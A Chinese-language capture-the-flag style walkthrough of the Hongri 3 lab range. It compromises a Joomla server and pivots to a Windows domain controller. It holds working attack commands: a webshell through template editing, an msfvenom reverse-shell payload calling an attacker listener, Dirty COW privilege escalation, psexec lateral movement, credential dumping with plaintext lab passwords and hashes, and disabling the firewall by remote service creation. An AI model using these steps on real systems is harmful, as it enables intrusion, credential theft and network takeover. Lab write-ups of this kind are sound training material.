环境搭建 本次靶场是红日3靶场,拓扑图如下,边界主机的ip和图上不一致。
涉及知识点 :joomla、nginx反向代理、内网代理、psexec横向、ipc配合sc上线域控等
目标: 拿下域控 192.168.93.10
信息搜集 这里连的寝室wifi,设备有点多,就不扫c段了,直接手动确定web机器ip为192.168.3.64
nmap扫描 1 2 nmap --min-rate 10000 -p- 192.168.3.64 # 扫描端口开放情况
1 nmap -sT -sV -sC -O -p22,80,3306 192.168.3.64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 20:52 CST Nmap scan report for 192.168.3.64 Host is up (0.011s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3 (protocol 2.0) | ssh-hostkey: | 1024 25:84:c6:cc:2c:8a:7b:8f:4a:7c:60:f1:a3:c9:b0:22 (DSA) |_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA) | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin/ /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ |_http-title: Home 3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1 | mysql-info: | Protocol: 10 | Version: 5.7.27-0ubuntu0.16.04.1 | Thread ID: 14 | Capabilities flags: 63487 | Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, SupportsCompression, ConnectWithDatabase, Speaks41ProtocolNew, LongCol SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: |_ 2048 58:d1:4c:59:2d:85:ae:07:69:24:0a:dd:72:0f:45:a5 (RSA) 80/tcp open http nginx 1.9.4 |_http-server-header: nginx/1.9.4 |_http-generator: Joomla! - Open Source Content Management | http-robots.txt: 15 disallowed entries | /joomla/administrator/ /administrator/ /bin/ /cache/ | /cli/ /components/ /includes/ /installation/ /language/ |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ |_http-title: Home 3306/tcp open mysql MySQL 5.7.27-0ubuntu0.16.04.1 | mysql-info: | Protocol: 10 | Version: 5.7.27-0ubuntu0.16.04.1 | Thread ID: 14 | Capabilities flags: 63487 | Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, SupportsTransactions, InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, ODBCClient, SupportsLoadDataLocal, SupportsCompression, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag, LongPassword, IgnoreSpaceBeforeParenthesis, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: | 6ety+:C- | QP9\x0F\x1C%\x1C\x15\x01G |_ Auth Plugin Name: mysql_native_password MAC Address: B2:FD:FB:6E:83:20 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds
从上我们获得的信息是
22端口 OpenSSH 5.3 (protocol 2.0),考虑可以后续ssh爆破
80端口是joomble框架搭建的,存在一个robots.txt文件,里面泄漏了一下路径,但是是不可访问的
3306端口mysql是5.7.27,该端口开放后续如果有密码可以考虑数据库远程登录
1 sudo nmap --script=vuln -p22,80,3306 192.168.3.64
从nmap自带插件扫描中可以得到信息:joomla版本是3.9.12 ,和一些存在的简单目录
知道了版本信息,看看有没有对应的漏洞
这里基本上都试了,都无法利用。。。
目录扫描 目录信息比较少,尝试用gobuster扫一下目录
1 gobuster dir -u http://192.168.3.64:80 -w /Users/drblack/dict/directory-list-2.3-medium.txt
发现结果显示有些问题,设置一下过滤404和502响应码的结果
东西还是有点少,没有可利用的信息,再重新指定一下扫描的文件后缀txt,zip,php
,有一些收获
1 gobuster dir -u http://192.168.3.64:80 -w /Users/drblack/dict/directory-list-2.3-medium.txt -x txt,zip,php -b 502,404
再使用dirsearch扫描,综合一下结果
1 dirsearch -x 502,404 -u http://192.168.3.64/
发现1.php,是phpinfo界面里面有xff头的信息
configuration.php~这里能访问,数据库信息泄漏. 账户:testuser密码:cvcvgjASD!@ (这里可以将改密码放入字典中,后续如果爆破可能会用到)
后台GETSHELL 远程连接数据库
这里可以考虑多种思路。一种是后台添加管理员账户密码进网站后台再找漏洞点getshell,一种是尝试直接getshell。
先考虑直接getshell,但是需要root用户才能有权限去写入文件.
那么就看看能不能从数据库内容入手,查找数据表,看看有没有账户密码
am2zu_users数据表中存在admin账户password但是加密了
这里我有几个思路,1. 密码爆破 2.新建用户 3. 通过mysql数据库getshell
用户密码爆破
靶场类机器密码一般不会是爆破出来的(后面就打脸了),这个可以后面再尝试。
新建管理员用户
这里有一种错误做法,在下面直接手动新建用户,这样的password是不符合的,他要经过一个解密过程,结果和password不同
这里我手动插入一直不成功,找到了官网忘记密码的操作方法
试试用命令插入看看哪里有问题呢
1 2 3 4 INSERT INTO `umnbt_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2' , 'admin2' , 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' , '' , NOW(), NOW(), NOW());
name这里,应该是Administrator,之前写的Super User,超级管理员只能一个!
插入group表,有一个是我之前手动添加的
1 2 INSERT INTO `umnbt_user_usergroup_map` (`user_id`,`group_id`)VALUES (LAST_INSERT_ID(),'8' );
添加后,发现还是登录不进去。。。
卡了一会,发现是表没找对!
重新输入语句插入,修改一下对应表名称就行了,经过测试,这里把administrator账户密码直接修改了也可以登录
进入后台之后,可以看看有没有后台getshell的文章
1 2 3 4 5 6 7 8 9 10 11 12 第一种 官网下载joomla中文包com_zmaxappstore.zip,解压修改install.xml 添加<filename>>test.php</filename> 将test.php放到admin文件夹内,重新打包zip,后台操作Extensions–> install–>upload package file shell_url:/administrator/components/{zip包名}/da.php 第二种 后台操作 Global Configuration- ->media–>Legal Extensions (File Types)添加php后缀,媒体上传即可 第三种 后台操作 Extensions–>Templates–>Templates–>xxx Details and Files修改error.php文件 添加shell代码,save保存, shell_url:/administrator/templates/xxx/error.php
提到了上面三种方法,我们试试第三种
1 Extensions–>Templates–>Templates–>Beez3 Details and Files
写入shell,尝试连接
这里路径应该是http://192.168.3.64/templates/Beez3/error.php
,和文章说的有一点区别
提权 当我们想通过蚁剑执行一些命令的时候,发现返回ret=127,说明有disable_functions
的限制
通过查看网站的1.php可以知道,从disable_functions
中可以看见禁用的函数
使用蚁剑bypass插件进行绕过。
制作msf的木马准备上线msf
1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.61 LPORT=4444 -f elf > shell.elf
上传后记得给执行权限
一直上线不了,感觉不对劲
看看ip,和预料的完全不一样,麻了
这里这种情况没遇到过,看了网上师傅们的wp才知道,这里一个内网机器,然后用了代理将外网那台机器流量
转到这台机器上了。
1 nestat -anplt # -p 显示正在使用Socket的程序识别码和程序名称。
可以看见连接的是192.168.93.100
那下面我们需要找如何去到web机器上的方法,毕竟目前不能直接通信。找找txt文件有没有一些提示?
路径越短鱼越大,打开test.txt,发现一个账户密码信息
用这个账户密码尝试ssh登录web端的机器。 wwwuser_123Aqx
1 ssh wwwuser@192.168.3.64
直接连接会出现一个报错,因为openssh觉得ssh-rsa加密方式不安全, 直接从8.8开始默认不允许这种密钥用于登陆了。添加下面的参数临时使用
1 ssh -oHostKeyAlgorithms=+ssh-rsa wwwuser@192.168.3.64
登录成功,ifconfig
确定了是我们想要控制的web机器
用finalshell连方便传文件,
成功上线到msf
机器为linux 版本为centos 2.6.32存在脏牛提权漏洞,
1 python -c 'import pty; pty.spawn("/bin/bash")'
用python生成一个交互式更强的shell,方便后续操作
在本地执行后生成脏牛的提权代码。
1 2 3 git clone https://github.com/gbonacini/CVE-2016-5195.git cd CVE-2016-5195 make
上传到目标机器执行,失败,貌似是代码的问题,看看漏洞库的情况
选择25444.c来尝试,本地编译又有问题
最后重新找了个脏牛的代码
1 2 3 4 5 exp地址:https://github.com/FireFart/dirtycow gcc -pthread dirty.c -o dirty –lcrypt 生成特权用户 ./dirty 12345
切换到新用户
提权成功!后来看到网上有师傅说的其实该机器不用提权,实际场景提权动静比较大,我们的目标是拿下域控,提权后无非是想要达到以下几种目的,该机器只需要帮助我们配置代理方便进行横向就可以了
添加管理员账户
开关防火墙
3389远程连接
hash密码抓取
最后看看nginx 配置情况验证之前的猜想
1 2 nginx -t cat /etc/nginx/nginx.conf
内网探测 msf重新监听
1 2 3 4 5 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set lport 4444 run
运行之前的木马(记得chmod一下),上线提权后的firefart
用户
该机器是双网卡机器,如果不给msf配置路由,那么后续的针对93网段探测是不能实现的,配置路由后,通往93网断的流量都会从session 4走
1 2 run autoroute -p #查看自动路由表 run post/multi/manage/autoroute #添加路由
1 use auxiliary/scanner/discovery/udp_probe
msf的其他几个扫描模块都不行,只能用这个udp_probe简单探测一下
发现93网段存在10,20,30三台主机
1 2 3 4 5 6 [+] Discovered NetBIOS on 192.168.93.1:137 (LAPTOP-O3LLQEKN:<00>:U :WORKGROUP:<00>:G :LAPTOP-O3LLQEKN:<20>:U :00:50:56:c0:00:02) [+] Discovered NetBIOS on 192.168.93.10:137 (WIN-8GA56TNV3MV:<00>:U :TEST:<00>:G :TEST:<1c>:G :WIN-8GA56TNV3MV:<20>:U :TEST:<1b>:U :00:0c:29:1f:54:d2) [+] Discovered DNS on 192.168.93.10:53 (Microsoft DNS) [+] Discovered NTP on 192.168.93.10:123 (1c0104fa00000000000abaa44c4f434ce8f8a26ea5244dbdc54f234b71b152f3e8f99338712c7ee4e8f99338712c7ee4) [+] Discovered NetBIOS on 192.168.93.20:137 (WIN2008:<00>:U :TEST:<00>:G :WIN2008:<20>:U :00:0c:29:ab:44:ec) [+] Discovered MSSQL on 192.168.93.20:1434
分别是win2012,win2008,win7机器
配置代理 1 2 3 4 5 auxiliary/server/socks_proxy set srvhost 127.0.0.1 set srvport 1111 set version 4a run
一直断开,换为2222端口成功
信息搜集 使用namp分别扫描三个主机端口开放情况,端口的开放情况决定了我们怎样攻击利用
1 proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.10
1 proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.30
1 proxychains4 nmap -sT --min-rate 10000 -p- 192.168.93.20
开放了1433,445端口
1433端口爆破 这里1433爆破的时候,这边shell就会断开。尝试了多次后放弃了看了wp发现密码就是我们之前准备的数据库密码。
永恒之蓝尝试 445开了,可以尝试永恒之蓝
1 2 search ms17 use auxiliary/scanner/smb/smb_ms17_010
没有检测出漏洞
看看10、20主机的 80端口,没什么东西
跑smb弱口令,跑不出来。换了很多个字典也不行。卡住了
看了wp之后了解到,密码是123qwe!ASD
,加入字典后能跑出来,30主机密码也是这个
确定了账户密码之后,尝试通过msf自带的psexec进行横向
1 2 3 4 5 6 use exploit/windows/smb/psexec set payload windows/meterpreter/bind_tcp set rhost 192.168.93.30 set SMBPass 123qwe!ASD set SMBUSer administrator run
连不上诶,又试了一次又行了
两台机器的shell都拿下了,都是system权限
接下来就稍微容易了
域名test.org
域控上线 30机器抓取密码,没有主导域用户的账户密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 creds_allmeterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials =============== Username Domain NTLM SHA1 -------- ------ ---- ---- Administrator WIN7 31c1794c5aa8547c87a8bcd0324b8337 128c0272959b85b330090611169d07d85cb6bd0b WIN7$ TEST bb6b48766fb280d74babb50e781bbc21 4ebd2d435d946f95f31d5c16351791fea97e8f43 wdigest credentials =================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WIN7 123qwe!ASD WIN7$ TEST Xp:b4*hsKA*;!>;kdR2,_xtp?kPNozV.4<y:lcsCdtI73*n<M)&<GX0hY18?'FezvRL0SIOYg-9Q`K?2sh:w!lyL><H1&VNLKHYW0`emOz9geR4im!xBKodB kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator WIN7 (null) win7$ TEST.ORG (null) meterpreter >
切换到20主机,获得域管明文密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 meterpreter > creds_kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ==================== Username Domain Password -------- ------ -------- (null) (null) (null) Administrator TEST.ORG zxcASDqw123!! Administrator WIN2008 123qwe!ASD win2008$ TEST.ORG 94 1f 08 44 5a 0c 6d 4d dd a9 9d 09 7a d0 72 bb e9 81 69 7e 96 9f 78 74 f2 9e d3 f2 98 74 7a 2f 49 4e b7 18 01 e5 94 75 8f 57 11 44 d4 31 17 92 25 2a d4 96 73 36 95 87 ec 34 e8 96 74 8f b6 0a ef 05 17 af 2e 5b 08 f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 81 17 09 96 f6 75 b5 0d c1 e1 61 07 d2 a8 99 e5 5f 7d e9 0c 76 a3 7e 51 e5 f1 d0 f0 da c5 0c 88 d0 1c 59 34 b9 3e 14 ab a1 7b 56 cd 9d 67 d3 19 c7 ad d9 b2 8d 72 e9 2a c2 d0 be ff e7 e7 d2 60 85 9a 99 74 8c d5 0a b5 1c 58 31 28 de 15 51 36 58 8a da 3a db 61 5d be f9 d5 b8 a8 5c fe 19 06 f6 ac ac 26 6d 22 80 e3 f4 f6 49 f8 92 78 9b a7 36 6d f7 c4 10 a3 8e 19 83 c5 84 ff 3f fc 9c 35 81 2d 35 42 8a 30 5a 7e ca ee 3f 50 0b c8 c6 68 a8 24 cc c0 52 5e b8 37 30 b7
那么猜测10应该就是域控了,尝试用psexec直接上线10域控
1 2 3 4 5 6 7 8 9 msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.10 rhost => 192.168.93.10 msf6 exploit(windows/smb/psexec) > set smbdomain test.org smbdomain => test.org msf6 exploit(windows/smb/psexec) > set smbpass smbpass => 123qwe!ASD msf6 exploit(windows/smb/psexec) > set smbpass zxcASDqw123!! smbpass => zxcASDqw123!! msf6 exploit(windows/smb/psexec) > set smbuser administrator
这里psexec域控总是失败上不去,那就考虑用远程桌面配合sc服务上线
开启30主机的远程桌面
1 2 3 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
本机配置全局代理,走的是本地2222端口(之前msf设置的1111,但是后面连接断了几次,重新设置过)
成功远程桌面到30机器
建立ipc连接
将msf的正向木马传上去
弹不成功,本地测试发现文件打不开,x86和x64都试了还是不行。
不知道是有防火墙还是有杀毒,先尝试利用服务关闭防火墙
1 2 sc \\192.168.93.10 create wall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start wall
再次利用psexec横向尝试
1 2 3 4 5 6 use exploit/windows/smb/psexec set rhost 192.168.93.10 set SMBUser administrator set SMBPass zxcASDqw123!! set SMBdomain test run
成功上线域控
远程桌面上去看看,确定结果
拿域控还有很多方法,比如当psexec不可行的时候,直接通过impacket工具包来,或者wmiexec也可以
纠错 之前sc命令不能运行和exe无法执行,是因为下面的LPORT中我少写了个T,导致生成的exe错误(这里在mac里面不会提示命令错误,但是kali里面会提示,麻了)
1 msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.3.61 LPORT=4444 -f exe > win64.exe
修改后重新用sc服务就成功上线了
参考文章 https://xz.aliyun.com/t/10057
http://myblog.ac.cn/archives/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA%E4%B9%8Battck3
https://xz.aliyun.com/t/9757